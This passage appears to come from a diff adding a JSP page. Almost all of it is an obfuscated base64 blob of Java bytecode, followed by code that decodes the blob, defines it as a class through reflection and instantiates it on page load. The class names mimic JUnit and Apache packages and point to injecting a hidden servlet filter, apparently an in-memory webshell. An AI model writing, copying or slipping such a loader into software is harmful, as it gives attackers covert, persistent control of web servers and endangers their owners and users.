WVuY2U7KVoBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAANhZGQBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQALbGFzdEluZGV4T2YBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAD0oTGphdmEvbGFuZy9TdHJpbmc7WkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAHG9yZy9qdW5pdC9qdXBpdGVyL0luamVjdFV0aWwHAeIKAeMBFAoB4wEfCgHjASUBAB5Mb3JnL2p1bml0L2p1cGl0ZXIvSW5qZWN0VXRpbDsBAB1vcmcuYXBhY2hlLnV0aWxzLkNvbW1vbkZpbHRlcggB6AEPaEg0c0lBQUFBQUFBQUFLVllDWHdjVlIzK1huYXpNOWxNRDdibk5pM1FPL2UyYVJMU0pDMDVHbWhLbWhaU2kwMjlKcHRKc3UxbWQ3czdtellWMFIrSWlIamdiYXNvVmFSZVNLdDAwMUFvOVFKRlZFUlVCTy83Rm05UnBINXZabmE3dTltMCtPT1g1RjMvNC8zZi8vamVtenp5L0gybkFkU0xSaSs2Y0lkc2pzam13eW8rNHNXZCtLaUN1MHF3Q0VlOTJJaVBlZUhCeCtYeUoyVHpTUVdmVW5DM2drOUxqbnRLTVFQSDVPaTQ1UDJNbkg1V1R1K1ZveE5lamxLeW1WQnhzaFNUdUUvQktTODI0SDR2VnVBQlNUa2ltOU9TOXFDS00xTHFRUVdmODJJWjdsRHdlY24yQlFWZlZQQWxCUTk1VVk2SHBmaVhTekVUWDVIN1BDSzMvYW9YaitKcmt2QjFLZmdOcWZJeFNmaG1LUjdIdDFROElmVjhXOFYzRkh4WERwOVU4RDB2bnNMVEtyNnZvRi9CRHhUOFVNV1BWUHhZeFU5VS9GVEZ6MVQ4WE1FdkZQeFN3TFhYR0JmdzllelJ4L1JBV0k4TUIvck1lQ2d5M0NMZ2p1bUpCRGxHQnhzRXZDT0dQbWpFZS9WUlE2RFVudXpVdzBuT1BLMmhTTWpjU003eWlwMFU2NHdPY25WV1R5aGk5Q1pIQjR6NERuMGdiTWhOb2tFOXZGT1BoK1RjV1hTYkl5RnVzcUVuR0IwTnhBMTlqNTZJUmdMU212M0dRR0RVR0UwWTRYREFqSTRHZFRNd0hCMDhHQXFIOWNDVnp1Q0tVTmcwNHJSMVVYbldDVHJETkx3bktrMXNrUmFKZ3dJTHBxR1RlclhBdlBMZEhSWDVIS1FWQlFmWTdPNFFLT2tMRFVkME14bW56UXNMY2JkV2JwVEtEZ2dvSlBkWFNDRVJwR3FMOFVBZ0dCK1BtZEZBWnlnMlltM3JIdFBqOVdteXJhZnJRTkNJbWFGb1JDcWlVOFFvLy9vRlp2U1plbkR2VmoxbStZeHBwdUJYVEZVQmRUQnFlMEJnZDdtelQ4S0lqNFVOTTlCbjk5Y1krNUpHd215WmpwcUlSU01KSTU5c2ErMGMwVU1SMjRORHVUbXliV0NQRVRTbG1YUkh0dXV2TVliQ3BJVEdqRzB4STY3THcyU2Z5cVBINDl1U3BzQWx0a3dvR3VnWU40MzJlRndmNTNvc2FUTDdESDJVckVyQ1NDUW9KWEJwbm5FanBoa0xiR2JUWjNOSVp3N3FwaTR3TTVGemFJR0x6KzhVWm1raTF4RnB5NmIzbEVCeFVQcEZvT3c4VHFQOThiUVJxNmUzUDg4YU5aNHhJeitjVTRVY2V4VDhXc0Z2RlB6V1JpNEZ2eVBHS1BnOUM1OVZtM0YrUXNFZkZQeVJycExGeW1QbWIrQllINDBNaFlhdG1HdERXU3NDaTgvSHorTU84Z2p4S0xGRUc5QVRSbU45VnlSbzRjRDh2R0xKd0l0aVdCek1YWTh0SVhCUmdSS1VkZExJSWh4Z1FSU1AyWWd6UHhkSnhtTnBOSmxicUNxSmZ4bXJOaGxwcTZhYVpKVXN6K0ZZNWUyTEp1TkJnK2NrLzV4Y3hLbVZ3aHEyb2xjMk96VDhDYzhRLzlxNytsaWFHdjZNdjlERE9YV2ZpQmxCNWxJd2JwaFhHZU45bkdtNEVwczEvQlYva3pyK3J1RlcvRVBEUC9FdjdsWUFFd1JXdnFBMEVsajF3akpIdzFWeS8yZnhidzA5Y3ZRZlBLZmh2M2hlUTdlY25wV0U5K01ER2w2T1Y5QXhNWDA4VE14a2dtbXNleUhROGlJZ1d4TkZ3cVVKdHlqV2NDMWVxZ21QVU9qeW1CN25CVU02Zzcza3ZBakIwczBMdFNaVVVVSzBPTGZjSFVtWWVzUU01Y0pRTGtzNGJBenI0Zlpna0ZpU3hiSW9DOUtTVkRGcVpJaU1sdkJxb2xSb21wZ2habXJZUW0rSldXSzJJaTdTaEUvTTBjUmNNVThUODJWZ2I4UGJKVzBCNjFQREhyRlFZTGJVWEpzMFErSGFEaXNsTmVFWGkzajJZY1BzU2xlRWIvZVVTdEJFbVZqTTFOZzlGWVlWc1VRVEY0dExDSUIyVGUySTJpbnQ3SmJObkxPVTVwcWZTRVpxUjBPSllHMUhlMTlYdW5abFpScE9GVXZyTnFVcnd6T1lycUk4dVF5SFpuTjBKSWVHNUhSZXdidVg1Vm9JVXB6MHo3c3hDVURuZzNJblhhYUZiUUgvdEdETmErTDhGNHhUVWhlKzRhWm9jcXpJWXBpVHp1cnViVm1ycFlQR0VKOUxsblA0VmlGa2RuY1hlbytVTWd4MlZnZDVwSXBDSURiTmMwT2xwQ3drcW5lWFcwZ25keWtndjFOU3VtMUN3Z2dtNHlGelBFRElzaWlLZkhCRTlEQnpRTUs2OVRDaTRzMkdIYzlWMHhxVWgvMXFNQm94NlhwYVU1YnpjaHZSNDMweW9qeGZTMFcvblhlWktDd3JyN2p3VTBDanhQWTBqTmpUZHBQN0RpUk40OElXWmg0MjBsOU9PT2FVRndyRnpEUkRPcG45VTlreWIwd3RrV1BGNmdKV1REVkNPcncwWXV3L0YvQzU1UVZ0WFppdGJzZElQTHBmM29hV3ZJZk8xTU1KK2NJdHNFRy9IYjVyR1dONWdnVnA5VXpQN1RUS0lYQ0hra1J5SUpFR2kvTGMzTXdFZFU0QldkN1orK1VnejRDc1pGUE5ERmpsSGkranQ5U01acTRBcWFmdzdtMHY3Z0ZzWmZkUTFQbkFXWG1CTkVrbmdmVGVWc01jaVE1bURNaVJtUXJqMlZyaU5wUUViQTB5a05QUkdNaFFaQ3k2bDZhdEx4RElBbmRDd1VSWkVvMFBCL1NZSGh3eEF2SUdTZ1E2bzZPajBZZ05ob3E0VkVWM2lWaUtlM2xMckFzMkdtc0dtdlQxd2JVTmRYWDF1aXBXU05KUlhwOXIxM1p1YW14dnVxeWhhWDFUL2RyR2RZMmQ2eTVyNzJ5cWEyeXZhMTlUMzlHcGl0V1M5UkdXNzB2bzc1cjJZU05pcXFKU0x0NGpQL2tZRDFYVXlPbHgrZUErcjFVdFhyS2xaRE1obXlPeU9TMmJ4N0NVYlJjRXJrQXhXNzZtK09FdjVPUEY2cmM0L1ZWTzMyUDFKUnp4MmNaMm0vdzNBWW80QXNvckp5QXE1NGhsSjhSeWRpdFBpRlhzeWsrSUNuWlZKMFExdTlvVEluQWNzSFR4emVkb2FLQ0dJdllWbFZVVEtQby9WUERWUTBHcFlnUGNsb3FTeWlwWDFla0p1STV4VW9UdGJEMldkV1c0bXUxOG13blhpRFdXaWhMc1FqL3B1eTN1bDNIRWQ1cGoxWk9VZExPdjlybFBvcmkzWnZFaEtPNmpjQmVmZ21kWDViMWlWUXFxenoyQmtoUzhOVlVwbEI3ckZjZHNUNkFDSWJnd3hIRXJYR2N4QzI1RkxGWFFLaFRjQ2RtY0pTbDdyWWlOT0l1RmNEbUxraXRrMlQrZmtRR1cwcHBsV002ZkNxeEFKVlphNTZrbnpjTzFWK0pWM0srU1o5QXh3Qkd0enB5eEdrSHJqSEkwQ01PSzFoN3N0UjFYZERjMWxOS1hTNnJPNElabWQvVVozTmhjN0hmemZOV1RtRjJFaC9CTTFveURRQXErUTNqYTc1N0VISUZtajBWZFBvbDVSVGdwMWpZcmxYN0ZsUkoxellyZjQxczRDWDhSSHNZeU9UNGxsdTZxVEtFc2hjVVRZcDFmU1luNlNWeml3bEhjNm5mN0x2VXJrMWpxd2luY3RHc0N5NXZWalBnWnJFaGhaWFBKVWN4cTlwNUMrUzYvZHdJVkQvcEwvR29LbGRleWQxdDk4U1NxaExTd3dqVjdkZ28xS2RUNkdadEFoaUw1MTdocDIwblJJSW5uQkNSL0haZU9vclNtaWlkZEo2MmEwZXhKVDQ3VHBiZmhDT08weXVsWFF6NUpmWmt3aDZHZXhYVlFyZWk5VnNIckZEeXU0QVlGTnlxWVpEekJUNEhWS0ptT3JPQW1HZkEzUElkU0JUZWZSUjg4VTFrWkxhV0RXVkZpcGNVZUxHSmJ4ZkJYUTBNdEF2eHB3aG9XNkZxbVJoMFRlUjBOYXNETmFLVE42MmwxSysxdXhsMW93VEhXeTBsc3BHc3Z4eE5vdzFObzUvZFdoM0NqaTFaY0lXWmhDOCsyV2N4RnQxak1vcGVwOW5yTW9BNFhUenJLc3JrTFhrUVFaWHNiVE1Td0R5cTE3bkNvVFhnVWNTUm8yMmJjVDNvL0ZPcFNLVEhBTlNaYk9qazVTbUpNSmlkSCszRkFsaWRINHpqSW5UeGlBVjdOTTdqcDY0dndHbHpQVkgyalZkQkZ1QVZ2b3RTdGVMTlQvdzFXQVZQNGVGN2RiOCtxZTVHcENZRzM0SzFzcFRvMysxdjQ5N1lNb2xWWkhBV1U3YkNVYVRiUlVWWWl2MDlzSzRSQlBsbXNCMFNQci80a0dyWlcreHJGR1Z5V1FsTTErL1VwTlBjeUw4dDhMZTRIc0dLWHk5ZmFSMUlOSnpmdmNsVnkzSHdHaDN1T1luMnY3M0pMWENhK1crWjNtYTh0VzhUdm5pSlQzT3l1T21ZQjZRWkdOTVNJN3FQblF6eWV6TThLQ1VOdEVtYVlhNGN0Y0RuTEJIRTdjNGsxY3UxWkhrc2V0NDZIQk9HMWlLRlRpWTVseE1ZTlJJODJwbFU3MGVaSzRzMVdZczArWW92Sm9JNFJWNlJyTmxOVEdYSHFIVXdERnlXYjhFNjhpMXEyRXJQa21wdVNOYzVhTzRQMmJnZXREdUE5M0VrNmV3enZwUmFCOXpsUnMzVWM0c2lXbEtOMDFFSjBQait1N2FpSnZZN3pyei9uL1BhQ3p1OXdQSGw0cXZOYitVd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"; + byte[] bytecode = null; + try { + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); + } catch (ClassNotFoundException ee) { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); + } + Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length); + clazz.newInstance(); + } +%> \ No newline at end of file